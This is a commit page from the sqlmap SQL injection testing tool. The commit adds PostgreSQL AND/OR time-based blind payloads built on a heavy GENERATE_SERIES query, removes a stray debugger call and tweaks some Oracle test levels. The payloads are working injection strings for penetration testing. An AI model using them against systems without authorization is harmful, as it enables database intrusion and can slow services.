Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 0da1ebd

Browse files
stamparmstamparm
committed
introducing PostgreSQL time based blind
1 parent 1ba98dc commit 0da1ebd

2 files changed

Lines changed: 39 additions & 13 deletions

File tree

‎lib/controller/checks.py‎

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -361,8 +361,6 @@ def checkSqlInjection(place, parameter, value):
361361
injectable = True
362362
elif check == "[DELAYED]":
363363
if duration >= max(TIME_MIN_DELTA, TIME_N_RESPONSE * kb.responseTime):
364-
import pdb
365-
pdb.set_trace()
366364
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
367365
logger.info(infoMsg)
368366

‎xml/payloads.xml‎

Lines changed: 39 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -1463,7 +1463,7 @@ Formats:
14631463
<title>Oracle AND time-based blind</title>
14641464
<stype>5</stype>
14651465
<level>1</level>
1466-
<risk>2</risk>
1466+
<risk>1</risk>
14671467
<clause>1,2,3</clause>
14681468
<where>1</where>
14691469
<request>
@@ -1480,7 +1480,7 @@ Formats:
14801480
<test>
14811481
<title>Oracle AND time-based blind (heavy query)</title>
14821482
<stype>5</stype>
1483-
<level>3</level>
1483+
<level>2</level>
14841484
<risk>1</risk>
14851485
<clause>1,2,3</clause>
14861486
<where>1</where>
@@ -1495,6 +1495,24 @@ Formats:
14951495
</details>
14961496
</test>
14971497

1498+
<test>
1499+
<title>PostgreSQL AND time-based blind</title>
1500+
<stype>5</stype>
1501+
<level>1</level>
1502+
<risk>1</risk>
1503+
<clause>1,2,3</clause>
1504+
<where>1</where>
1505+
<request>
1506+
<payload>AND EXISTS(SELECT * FROM GENERATE_SERIES(1, 10000000))</payload>
1507+
</request>
1508+
<response>
1509+
<time>[DELAYED]</time>
1510+
</response>
1511+
<details>
1512+
<dbms>PostgreSQL</dbms>
1513+
</details>
1514+
</test>
1515+
14981516
<test>
14991517
<title>Microsoft SQL Server/Sybase AND time-based blind (heavy query)</title>
15001518
<stype>5</stype>
@@ -1552,10 +1570,6 @@ Formats:
15521570
<dbms_version>&gt; 2.0</dbms_version>
15531571
</details>
15541572
</test>
1555-
<!--
1556-
NOTE: there is no way to perform this test against Microsoft SQL
1557-
Server, Sybase, Oracle or PostgreSQL
1558-
-->
15591573
<!-- TODO: if possible, add payload for Microsoft Access and SAP MaxDB -->
15601574
<!-- End of AND time-based blind tests -->
15611575

@@ -1635,7 +1649,25 @@ Formats:
16351649
<dbms>Oracle</dbms>
16361650
</details>
16371651
</test>
1638-
1652+
1653+
<test>
1654+
<title>PostgreSQL OR time-based blind</title>
1655+
<stype>5</stype>
1656+
<level>3</level>
1657+
<risk>3</risk>
1658+
<clause>1,2,3</clause>
1659+
<where>2</where>
1660+
<request>
1661+
<payload>OR EXISTS(SELECT * FROM GENERATE_SERIES(1, 10000000))</payload>
1662+
</request>
1663+
<response>
1664+
<time>[DELAYED]</time>
1665+
</response>
1666+
<details>
1667+
<dbms>PostgreSQL</dbms>
1668+
</details>
1669+
</test>
1670+
16391671
<test>
16401672
<title>Microsoft SQL Server/Sybase OR time-based blind (heavy query)</title>
16411673
<stype>5</stype>
@@ -1693,10 +1725,6 @@ Formats:
16931725
<dbms_version>&gt; 2.0</dbms_version>
16941726
</details>
16951727
</test>
1696-
<!--
1697-
NOTE: there is no way to perform this test against Microsoft SQL
1698-
Server, Sybase, Oracle or PostgreSQL
1699-
-->
17001728
<!-- TODO: if possible, add payload for Microsoft Access and SAP MaxDB -->
17011729
<!-- End of OR time-based blind tests -->
17021730

0 commit comments

Comments
 (0)